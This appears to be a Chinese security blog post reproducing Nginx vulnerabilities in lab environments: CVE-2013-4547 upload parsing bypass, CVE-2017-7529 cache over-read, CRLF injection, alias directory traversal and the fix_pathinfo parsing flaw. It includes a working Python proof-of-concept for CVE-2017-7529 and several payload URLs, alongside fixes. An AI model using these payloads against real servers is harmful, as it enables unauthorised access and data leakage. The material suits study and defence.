中间件漏洞之Nginx

Nginx解析漏洞 (CVE-2013-4547)

  • 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  • 漏洞简析
    pathinfo是默认关闭的,只有.php后缀的文件会被发送给fastcgi解析
    CVE-2013-4547的原理是通过非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。当我们请求1.gif[0x20][0x00].php时,Nginx认为1.gif[0x20]的后缀名是.php,便将1.gif[0x20]作为php解析,造成解析漏洞
  • 漏洞复现

    上传一张正常图片,访问图片链接得到的是正常图片
    给正常图片后缀添加[0x20]上传,访问链接192.168.232.128:8080/uploadfiles/1.jpg发现404图片不存在,404是由Nginx给出的,访问192.168.232.128:8080/uploadfiles/1.jpg[0x20],弹出下载图片,图片没有解析

    将2.jpg的内容写入phpinfo上传,同样后缀加上空格

    然后访问2.jpg[0x20][0x00].php
    用brup修改Hex,改成20和00,00表示00截断

    发现已经解析成php
    Linux中文件可以以空格结尾,在Windows中,文件名不能以空格结尾,所以Windows程序遇到文件名“test.jpg ”会自动去掉最后的空格,等同于访问“test.jpg”,基于这样的原因,这一漏洞在Windows中会很容易利用。
    参考链接
    https://blog.werner.wiki/file-resolution-vulnerability-nginx/
    http://www.91ri.org/9064.html
    https://vulhub.org/#/environments/nginx/CVE-2013-4547/

Nginx越界读取缓存漏洞(CVE-2017-7529)

  • 影响版本:Nginx 0.5.6 - 1.13.2
  • 漏洞简析
    Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

    如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

  • 漏洞复现

    可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
    如果读取有误,请调整poc.py中的偏移地址(605)。
    poc.py文件内容
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

参考文章
https://vulhub.org/#/environments/nginx/CVE-2017-7529/
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests

Nginx 配置错误导致漏洞

CRLF注入漏洞

  • 漏洞简析
    nginx中配置路径跳转使用了$uri或$document_uri,$uri 和 $document_uri表示的是解码以后的请求路径,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞
  • 漏洞复现
    访问http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,用burp抓包发现Set-Cookie注入成功

    目录穿越漏洞

  • 漏洞简析
    Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
    错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
    alias /home/;
}

当我们访问/files../时,nginx实际处理的路径时/home/../,从而实现了穿越目录。

  • 漏洞复现
    访问http://your-ip:port/files../

    解析漏洞

  • 漏洞简析
    如果将nginx.conf配置成把.php后缀的文件交给fastcgi处理,当这个文件(.php)不存在并且php.ini配置文件中cgi.fix_pathinfo=1(如果当前路径不存在则采用上层路径),这是fastcgi处理.php上一级的文件
  • 漏洞复现
    访问含有phpinfo的图片http://192.168.232.128/uploadfiles/nginx.png,发现没有解析

    在url中文件后加上/.php,如:http://192.168.232.128/uploadfiles/nginx.png/.php,发现已经解析成php文件
  • 修复方式
    cgi.fix_pathinfo的值设为0,php-fpm.conf中的security.limit_extensions的值设为.php

参考文章:https://www.cnblogs.com/yuzly/p/11208742.html

原文地址:https://www.cnblogs.com/g0udan/p/12399170.html

时间: 2024-11-02 15:55:03

中间件漏洞之Nginx的相关文章

Web中间件漏洞

Nginx文件解析漏洞端口:80 攻击方法: 解析漏洞 目录遍历 CVE-2016-1247:需要获取主机操作权限,攻击者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限.参考: https://www.seebug.org/vuldb/ssvid-92538 漏洞等级 高危 漏洞描述 nginx文件解析漏洞产生的原因是网站中间件版本过低,可将任意文件当作php可执行文件来执行,可导致攻击者执行恶意代码来控制服务器. 漏洞危害 机密数据被窃取: 核心业务数据被篡改: 网

中间件漏洞总结(二)- Nginx

(一) Nginx简介 Nginx 是一款 轻量级的 Web 服务器. 反向代理 服务器及 电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行.其特点是占有内存少, 并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好 (二)文件解析 1. 漏洞介绍及成因 对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击. 2. 漏洞复现 在网站根目录下新建一个i.gif的文

15_安全配置与中间件漏洞

中间件包括: Apache Tomcat php-fpm redis resin weblogic jboss jenkins zabbix mongodb 等等. 一.Apache Tomcat Apache是web服务器,Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展.Apache和Tomcat都可以作为独立的web服务器来运行,但是Apache不能解释java程序.Apache Tomcat包含了一个配置管理工具,也可以通过编辑XML格式的配置文件

中间件漏洞总结(二)- Tomcat

(一) Tomcat简介 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选.对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求.实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行

中间件漏洞总结(二)- jBoss

(一) jBoss简介 jBoss是一个基于J2EE的开发源代码的应用服务器. JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用.JBoss是一个管理EJB的容器和服务器,支持EJB1.1.EJB 2.0和EJB3的规范.但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用. (二) 反序列化漏洞 1. 漏洞介绍及成因 Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为java对象的过程

中间件漏洞总结(二)- Apache

(一) Apache简介 Apache 是世界使用排名第一的Web 服务器软件.它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一.它快速.可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中. (二) 解析漏洞 1. 漏洞介绍及成因 Apache文件解析漏洞与用户的配置有密切关系,严格来说属于用户配置问题. Apache文件解析漏洞涉及到一个解析文件的特性: Apache默认一个文件可以有多个以点分

Nginx入门到实践-Nginx 中间件

第1章 课程前言总览课程,介绍课程学习须知,环境准备,了解课程意义.1-1 课程介绍1-2 学习环境准备 第2章 基础篇讲解Nginx的快速部署安装.模块.基础配置语法.Nginx的日志输出.Nginx默认配置模块.Nginx对于请求的处理,访问控制模块使用,并区别介绍连接限制与请求限制.2-1 什么是Nginx2-2 常见的中间件服务2-3 Nginx优势多路IO复用2-4 Nginx使用Epoll模型的优势介绍2-5 Nginx-CPU亲和2-6 Nginx-sendfile2-7 Ngin

Web中间件常见漏洞总结

一.IIS中间组件: 1.PUT漏洞 2.短文件名猜解 3.远程代码执行 4.解析漏洞 二.Apache中间组件: 1.解析漏洞 2.目录遍历 三.Nginx中间组件: 1.文件解析 2.目录遍历 3.CRLF注入 4.目录穿越 四.Tomcat中间组件: 1.远程代码执行 2.war后门文件部署 五.jBoss中间组件: 1.反序列化漏洞 2.war后门文件部署 六.WebLogic中间组件: 1.反序列化漏洞 2.SSRF 3.任意文件上传 4.war后门文件部署 七.其它中间件相关漏洞 1

nginx解析漏洞复现

一.漏洞描述 该漏洞与nginx.php版本无关,属于用户配置不当造成的解析漏洞 二.漏洞原理 1. 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件. 2.但是fastcgi在处理’.php’文件时发现文件并不存在,